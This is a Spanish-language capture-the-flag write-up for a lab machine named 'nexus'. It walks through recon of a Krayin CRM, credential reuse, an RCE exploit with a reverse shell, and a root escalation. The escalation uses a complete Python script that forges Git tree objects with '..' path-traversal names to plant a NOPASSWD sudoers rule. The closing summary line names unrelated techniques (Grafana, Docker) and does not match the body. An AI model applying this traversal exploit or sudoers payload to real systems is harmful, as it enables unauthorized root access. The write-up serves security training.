Entramos al dominio principal pero no encontramos gran cosa.
Hay algo de información de la empresa y la opción de mandar un email a careers@nexus.htb o a j.matthew@nexus.htb, pero poco más. Toca ir a por algún subdominio.
Probamos con billing.nexus.htb, que era una redirección a un panel de admin, a ver si nos da una versión de servicio o similar.
Vemos un panel de login de Krayin, un software de código abierto para gestionar la relación con el cliente. Permite llevar un seguimiento de ventas, contactos y demás.
Las credenciales por defecto son admin@example.com:admin123. Si las probamos, veremos que no funcionan.
En la parte inferior de la pantalla vemos algo similar a las DevTools del navegador, pero hechas en la propia página. El logo que aparece, con los cubos, es de Laravel. Podemos verlo dejando el cursor sobre el icono junto a 12.x, que indica lo siguiente:
1
2
3
4
5
6
7
Laravel Version 12.54.1
PHP Version 8.3.6
Environment local
Debug Mode enabled
URL billing.nexus.HTB
Timezone Asia/Kolkata
Locale en
Antes de pasar un rato buscando vulnerabilidades, vamos a echar un vistazo al otro subdominio.
Tenemos varias credenciales, de IMAP y de MySQL. Las más útiles (por complejidad) parecen las de MySQL. De todas formas, podemos probar con ambas combinaciones.
Lo único que nos falta es un email. Tenemos laravel@krayincrm.com, pero parece ser un placeholder y el dominio no coincide con el de la máquina. Por suerte, de antes tenemos los emails j.matthew@nexus.htb y careers@nexus.htb.
Si usamos la combinación j.matthew@nexus.htb:N27xh!!2ucY04, podemos entrar al dashboard.
Ahora si miramos el código fuente sí podremos ver la versión de Krayin.
1
2
3
4
5
6
7
8
9
10
<!-- ... Alrededor de la línea 443 del código fuente ... --><!-- Version --><pclass="text-gray-400">
Version: 2.2.0 </p>
</div>
<divclass="grid gap-1 pb-2.5">
<aclass="cursor-pointerpx-5py-2text-basetext-gray-800hover:bg-gray-100...[SNIP]...
Vemos la versión 2.2.0. Si la buscamos, daremos con el CVE-2026-38526 (Unauthenticated RCE), y con un exploit disponible en Exploit-DB.
Lo descargamos y subimos una reverse shell al servidor.
Nada más llegar, recordemos que tenemos las credenciales de la base de datos MySQL, así que accedemos a ella directamente. Antes de nada, miramos qué otros usuarios hay.
Ahí vemos el usuario jones, que será nuestro siguiente objetivo. Si ahora vamos a la DB y ponemos las credenciales, veremos que nos dice que son incorrectas.
1
2
3
www-data@nexus:~/krayin$ mysql -u krayin -D krayin -p'N27xh!!2ucY04'mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045(28000): Access denied for user 'krayin'@'localhost'(using password: YES)
Podemos volver a comprobar el archivo .env, del que habíamos sacado las primeras credenciales, para ver si han cambiado.
# SUDOjones@nexus:/var/www/krayin$ sudo -l
[sudo] password for jones:
Sorry, user jones may not run sudo on nexus.
1
2
3
4
5
6
7
# PUERTOS LOCALESjones@nexus:/var/www/krayin$ netstat -tunlp | grep 127.0.0.1
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 127.0.0.1:3306 0.0.0.0:* LISTEN # MySQLtcp 00 127.0.0.1:3000 0.0.0.0:* LISTEN # Giteatcp 00 127.0.0.1:33060 0.0.0.0:* LISTEN # MySQL# Nada nuevo ni relevante
1
2
3
4
5
6
# VERSIÓN KERNELjones@nexus:~$ uname -a
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux# Vulnerable a Fragnesia, CopyFail y DirtyFrag.# Por respeto no vamos a usarlos 🙏🙏
Tras buscar un rato más cosas (cron, archivos escribibles, SUID, Sockets de Unix en escucha, etc.), descubro que existen los temporizadores de Systemd, que son una alternativa moderna a cron, completamente independientes, y que dependen únicamente del sistema de inicio, no de un daemon específico (como crond).
Para listarlos, puede usarse el siguiente comando:
1
2
3
4
5
6
7
$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2026-07-23 22:35:20 UTC 16s Thu 2026-07-23 22:34:20 UTC 43s ago gitea-template-sync.timer gitea-template-sync.service
Thu 2026-07-23 22:39:00 UTC 3min 55s Thu 2026-07-23 22:09:00 UTC 26min ago phpsessionclean.timer phpsessionclean.service
Thu 2026-07-23 22:40:00 UTC 4min 55s Thu 2026-07-23 22:30:00 UTC 5min ago sysstat-collect.timer sysstat-collect.service
Thu 2026-07-23 23:34:35 UTC 59min Thu 2026-07-23 22:21:59 UTC 13min ago fwupd-refresh.timer fwupd-refresh.service
...
Aquí vemos que el servicio más recientemente activado ha sido gitea-template-sync.service, que se ejecuta cada minuto (algo ya extraño de por sí). El servicio en cuestión es este:
Y el programa en python (/etc/gitea/template-sync.py) tiene esta parte relevante:
1
2
3
4
5
6
7
8
9
defsync_template(repo_info):
# ...[SNIP]...for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath) # Parte vulnerable target_dir = os.path.dirname(target)
os.makedirs(target_dir, exist_ok=True)
# ...[SNIP]...with open(target, 'wb') as f:
f.write(cat_result.stdout)
El programa se encarga de revisar todos los repositorios de Gitea que estén marcados como plantilla y copiarlos a un directorio local.
stage_path tiene la forma /home/git/template-staging/[USER]/[REPO]/ y filename es el nombre de cada archivo individual dentro de ese repo.
Si un atacante consigue que filename tenga un nombre como ../../../../root/.ssh/authorized_keys, el resultado de la concatenación será:
/home/git/template-staging/owner/name/../../../../root/.ssh/authorized_keys, y cuando Python intente resolver la ruta, llegará a /root/.ssh/authorized_keys escribiendo ahí por tanto lo que normalmente iría a escribir en un lugar restringido.
Esto podemos explotarlo intentando escribir, por ejemplo, un par de claves SSH o una regla nueva en /etc/sudoers.d/ que nos permita ejecutar cualquier comando como root. En este caso haremos lo segundo.
Ahora bien, cómo conseguimos que un archivo en Git se llame ../../../../root/...?
Si intentamos hacer git add ../archivo, el cliente de Git dará error. Git tiene protecciones de seguridad estrictas en su cliente específicamente para evitar añadir archivos fuera del directorio de trabajo o con nombres maliciosos (como el nuestro).
Para saltarnos esta restricción, tenemos que crear un archivo “a bajo nivel”. Git solo verifica los nombres en los archivos actuales del repo (los que vemos a “alto nivel”), pero no los que almacena como objetos.
Esos objetos los almacena todos en .git/objects, comprimidos con Zlib. Git usa principalmente tres tipos de objetos:
Blob: Contiene el contenido de un archivo (los datos en sí).
Tree: Actúa como un directorio. Es una lista que vincula nombres de archivos con los hashes de sus respectivos Blobs o de otros Trees.
Commit: Apunta al Tree raíz y guarda metadatos (autor, fecha).
Nota: Trees en Git
Los Trees en Git (y sus archivos de dentro) se construyen de dentro hacia afuera, justo al revés de como se hace normalmente.
En un SO normal, se crea una carpeta vacía y luego se meten archivos dentro. Pero en la DB de Git, un directorio (Tree) no es un directorio en sí, es simplemente un archivo de texto que contiene una lista con los hashes de los archivos y subcarpetas que tiene dentro.
Por lo tanto, el problema es de dependencia: No se puede crear el tree padre (directorio) si no se sabe el hash exacto de los hijos que va a contener. Para conocer dicho hash, primero hay que crear el archivo. Por eso mismo el script que se ve aquí abajo crea las cosas hacia atrás, primero los archivos, luego los directorios en serie, y finalmente la raíz, hasta llegar al commit principal. (Esta estructura se conoce como Árbol de Merkle)
Para hacer un archivo que tenga el nombre que buscamos y nos dé privilegios de sudoer al procesarlo el script, podemos usar un script así:
#!/usr/bin/env python3import hashlib, os, zlib, time
# Se guarda un objeto siguiendo el formato que requiere Git en .git/objectsdefwrite_obj(data, t):
h = ("%s%d"% (t, len(data))).encode() +b"\x00"# Header: Tipo + Tamaño + NULL s = h + data # Contenido total (Header + Datos) sha = hashlib.sha1(s).hexdigest() # Hash SHA-1 de todo# Se usan los primeros 2 caracteres del hash como carpeta d = os.path.join(".git", "objects", sha[:2])
os.makedirs(d, exist_ok=True)
# Y el resto del hash como nombre de archivo p = os.path.join(d, sha[2:])
ifnot os.path.exists(p):
# Se comprime el archivo con ZLIB antes de guardarse open(p, "wb").write(zlib.compress(s))
return sha
# Crea el formato que usa Git para listar un archivo dentro de un directorio (Tree)# mode: 100644 para archivos normales, 100755 para ejecutables, y 40000 para directorios.defentry(mode, name, sha):
return ("%s%s"% (mode, name)).encode() +b"\x00"+ bytes.fromhex(sha)
# Este es el contenido que tendrá /etc/sudoers.d/reglapayload =b'jones ALL=(ALL) NOPASSWD: ALL\n'# SALTO DE LÍNEA IMPORTANTE. Si no el parser de sudo no funcionará.payload_blob = write_obj(payload, "blob")
# Y esta la ruta útil de directorios (/etc/sudoers.d/regla) # -> Procesoregla = write_obj(entry("100644", "regla", payload_blob), "tree") # reglasudoers_d = write_obj(entry("40000", "sudoers.d", regla), "tree") # sudoers.d/reglaetc = write_obj(entry("40000", "etc", sudoers_d), "tree") # etc/sudoers.d/regla# Ahora añadimos 5 ".." a los directorios. top = etc
for _ in range(5):
top = write_obj(entry("40000", "..", top), "tree")
# Crea el directorio raíz (Tree principal del repo)root = write_obj(entry("100644", "README.md", write_obj(b"# regla\n", "blob")) + entry("40000", "..", top),"tree",
)
# Aquí el directorio raíz contiene:# -> Un archivo README.md# -> Un directorio falso llamado ".." que inicia toda la cadena# Se crea un commit y se formatea el texto del mismo (autor, fecha, mensaje)ts = int(time.time())
commit = ("tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"% (root, ts, ts)).encode()
sha = write_obj(commit, "commit")
# Se actualiza la referencia de la rama 'main' para que apunte al nuevo commitos.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha +"\n")
print("Commit:", sha)
Antes de nada, tenemos que crear el repositorio. Para ello iniciamos sesión como jones con su contraseña de antes (la misma que la del SO), y creamos el repo.
Importante marcar como plantilla el repositorio a la hora de crearlo:
Ahora clonamos el repo y ejecutamos el script dentro del directorio.
1
2
3
4
5
6
7
$ git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/exploit.git
Cloning into 'exploit'...
warning: You appear to have cloned an empty repository.
$ cp ../exploit.py . # Copiamos el exploit desde donde sea hasta el directorio$ python3 exploit.py
Commit: 99daed84ef3b9736a1ee1134ca308d764170b245
Ahora podemos comprobar que efectivamente exista el archivo que queremos, y, finalmente, lo subimos:
Ahora ejecutamos sudo -l para comprobar que tenemos los permisos.
1
2
3
4
5
6
7
8
9
10
11
12
jones@nexus:/tmp$ sudo -l
[sudo] password for jones:
Sorry, user jones may not run sudo on nexus.
# No ha pasado suficiente 😔# Tras unos segundos más...jones@nexus:/tmp$ sudo -l
Matching Defaults entries for jones on nexus:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jones may run the following commands on nexus:
(ALL) NOPASSWD: ALL
Y ya tenemos permisos sudo, así que ejecutamos cualquier cosa, como por ejemplo sudo -s:
OS: Linux | Dificultad: Easy | Conceptos: Vulnerabilidad de Directory Traversal en Grafana, Dumpeo de Database, Crackeo de credenciales, Explotación de Regla Sudo de Docker montando el Filesystem del Host